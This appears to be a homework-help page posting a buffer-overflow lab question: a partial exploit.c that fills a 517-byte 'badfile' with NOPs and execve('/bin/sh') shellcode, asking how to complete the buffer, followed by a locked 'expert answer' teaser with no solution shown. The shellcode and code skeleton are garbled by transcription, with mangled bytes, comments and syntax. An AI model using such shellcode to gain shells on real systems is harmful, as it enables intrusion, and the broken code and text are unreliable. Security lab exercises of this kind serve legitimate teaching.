Question: We provide you with a partially completed exploit code called exploit.c. The goal of this code is to construct contents for badfile. In this code,

We provide you with a partially completed exploit code called exploit.c. The goal of this code is to construct contents for badfile. In this code, the shellcode is given to you. You need to develop the rest.

*PLEASE ANSWER THE "YOU NEED TO FILL THE BUFFER WITH APPROPRIATE CONTENTS HERE" *

We provide you with a partially completed exploit code called exploit.c. The

s exploit.c /* A program that creates a file containing code for launching shell/ #include #include #include char shellcode[] /* xor1 %eax,%eax /* pushl %eax /s pushl $ex68732f2f /s pushl Sex6e69622f /*movl %esp,Xebx /* pushl %eax /* pushl %ebx /*movl %esp,%ecx /* cdq /* movb $8x8b,%al / int $ex8e "x311xce "x58" "x68"//sh" "x68""/bin" "x58" "X53 "x89 xe1" x99" "xcd\x80" void main(int argc, char *argv) char buffr517]; FILE *badfile Initialize buffer with ex9e (NOP instruction) / memset(&buffer, ex9e, 517) /s You need to fill the buffer with appropriate contents here * /* Save the contents to the file "badfile" badfile =fopen("/badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile)

Step by Step Solution

There are 3 Steps involved in it

1 Expert Approved Answer
Step: 1 Unlock blur-text-image
Question Has Been Solved by an Expert!

Get step-by-step solutions from verified subject matter experts

Step: 2 Unlock
Step: 3 Unlock

Students Have Also Explored These Related Databases Questions!